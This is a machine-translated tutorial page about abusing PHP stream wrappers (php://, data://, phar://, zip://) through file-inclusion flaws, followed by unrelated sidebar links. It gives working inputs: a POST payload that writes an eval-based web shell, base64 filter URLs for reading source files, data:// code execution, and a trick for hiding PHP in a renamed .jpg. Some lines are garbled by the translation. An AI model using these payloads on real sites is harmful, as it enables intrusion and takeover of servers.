当前位置:网站首页>[PHP pseudo protocol] source code reading, file reading and writing, and arbitrary PHP command execution
[PHP pseudo protocol] source code reading, file reading and writing, and arbitrary PHP command execution
2022-07-25 17:09:00 【Black zone (rise)】
Catalog
1.2、12 individual php Supported pseudo protocols
2.4、phar://、zip://、bzip2://、zlib://
One 、 brief introduction
1.1、 summary :
PHP Fake protocol yes PHP Supported protocols and encapsulation protocols , These protocols can be used to complete the execution of many commands
1.2、12 individual php Supported pseudo protocols
file:// Access local file system
http:// visit HTTP(s) website
ftp:// visit FTP(s) URLs
php:// Access individual inputs / Output stream (I/O streams)
zlib:// Compressed flow
data:// data (RFC 2397)
glob:// Find matching file path patterns
phar:// PHP file
ssh2:// Secure Shell 2
rar:// RAR
ogg:// Audio stream
expect:// Handling interactive flows 1.3、 Premise :
php.ini There are two parameters
allow_url_fopen: allow url Encapsulation protocol access file in ( Default ON)
allow_url_include: Inclusion is not allowed url The encapsulation protocol in contains files ( Default OFF)
Two 、 Example
2.1、file://
Premise :
allow_url_fopen:off/on
allow_url_include :off/on
That is to say, I will not accept allow_url_fopen And allow_url_include Influence
usage :
file:// File absolute path
?file=file://D:/xxxx/1.txt
file= Relative paths
?file=./1.txt
file= URL path
?file=http://127.0.0.1/1.txt
2.2、php:// agreement
Premise :
allow_url_fopen:off/on
allow_url_include : open on There are php://input php://stdin php://memory php://temp
agreement Introduce php://input 1、 Read only stream that can access the requested raw data , stay POST Access in request POST Of data part
2、 stay enctype="multipart/form-data" When php://input It's invalid
php://output Write only data streams , Allow to use print and echo Write to the output buffer in the same way php://fd (>=5.3.6) Allows direct access to the specified file descriptor php://memory php://temp 1、(>=5.1.0) A data stream similar to a file wrapper , Allow reading and writing temporary data
2、 The only difference between the two is php://memory Always store data in memory , and php://temp After the amount of memory reaches the predefined limit ( The default is 2MB) Save in temporary file . Decision and of temporary file location sys_get_temp_dir() In the same way .
php://filter 1、(>=5.0.0) A meta wrapper , Designed for filtering applications when data flow is open
2、 For all-in-one (all-in-one) The file function of is very useful , similar readfile()、file() and file_get_contents(), There is no chance to apply other filters before the data stream content is read .
php://input
allow_url_fopen=on and allow_url_include=on
POST Submit PHP Code , Cause arbitrary code execution , Such as writing files ( Trojan horse )
php://input + [POST DATA]
eg:
URL in :……?file=http://input
POST in :<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST['123'])?>');?>
php://filter
Read the file source code
php://filter The source code of the specified file can be obtained , If you reuse the inclusion function vulnerability ,php://filter Flow will be treated as php File execution , It is generally coded , Keep it from being executed , Decode after obtaining the encoding , So as to achieve the reading of any file
……?file=php://filter/read=convert.base64-encode/resource= File path
2.3、data://
Premise :
allow_url_fopen:on
allow_url_include :on
brief introduction :
Data flow wrapper , To transfer data in the corresponding format
It can be used to execute PHP Code
usage :
data://text/plain, Content
data://text/plain;base64,base64 Encrypted content
Example :
……?file=data://text/plain,<?php%20phpinfo();?>
……?file=data://text/plain;base64,base64 Encrypted content
2.4、phar://、zip://、bzip2://、zlib://
brief introduction :
Used to read compressed files , You can access sub files in a compressed file , More importantly, you don't need to specify a suffix , Can be modified to any suffix
Premise :
allow_url_fopen:off/on
allow_url_include :off/on
usage :
phar://[ Compressed file path ]/[ The name of the sub file in the compressed file ]
zip://[ Compressed file absolute path ]%23[ The name of the sub file in the compressed file ](%23 by #)
compress.bzip2://file.bz2
Example :
1、 take php Add files to compressed files (phar)
……?file=phar://D:/……1.zip/1.php
2、 take php Add files to 1.zip in , And will 1.zip Rename it to 1.jpg, Then upload to the target server (zip)
……?file=zip://D:/……1.jpg%231.php
3、 Compress 1.php by 1.bz2(bzip2)
……?file=compress.bzip2://D:/……1.bz2
边栏推荐
- Test framework unittest test test suite, results output to file
- Hcip notes 11 days
- Sogou batch push software - Sogou batch push tool [2022 latest]
- 【redis】redis安装
- 2022年最新北京建筑施工焊工(建筑特种作业)模拟题库及答案解析
- 什么是元宇宙Gamefi链游系统开发?Gamefi元宇宙NFT链游系统开发应用案例及分析
- Is it safe to open a securities account in Huatai VIP account
- Chapter V: process control
- [cloud co creation] explore how gaussdb helps ICBC create core financial data
- Wu Enda logistic regression 2
猜你喜欢

Hcip notes 11 days

在华为昇腾Ascend910上复现swin_transformer

气数已尽!运营 23 年,昔日“国内第一大电商网站”黄了。。。

The gas is exhausted! After 23 years of operation, the former "largest e-commerce website in China" has become yellow...

中国芯片自给率大幅提升,导致外国芯片库存高企而损失惨重,美国芯片可谓捧起石头砸自己的脚...

第六章 继承

How to delete Microsoft Pinyin input method in win10

MySQL linked table query, common functions, aggregate functions
Go语言系列:Go从哪里来,Go将去哪里?

【南京航空航天大学】考研初试复试资料分享
随机推荐
Who moved my memory and revealed the secret of 90% reduction in oom crash
气数已尽!运营 23 年,昔日“国内第一大电商网站”黄了。。。
stm32F407------SPI
IAAs infrastructure cloud cloud network
unity 最好用热更方案卧龙 wolong
ACL 2022 | comparative learning based on optimal transmission to achieve interpretable semantic text similarity
ReBudget:通过运行时重新分配预算的方法,在基于市场的多核资源分配中权衡效率与公平性
[mathematical modeling and drawing series tutorial] II. Drawing and optimization of line chart
Random talk on generation diffusion model: DDPM = Bayesian + denoising
In the eyes of 100 users, there are 100 QQS
7.依赖注入
Solution for win10 device management not recognizing gtx1080ti display device
How to install govendor and open a project
EasyUI drop-down box, add and put on and off shelves of products
【obs】发送前丢帧及帧优先级
Data analysis and privacy security become the key factors for the success or failure of Web3.0. How do enterprises layout?
[OBS] Reprint: what about the serious delay of OBS live broadcast and Caton?
Enterprise live broadcast: witness focused products, praise and embrace ecology
win10设备管理认不到GTX1080Ti 显示设备的解决办法
搜狗批量推送软件-搜狗批量推送工具【2022最新】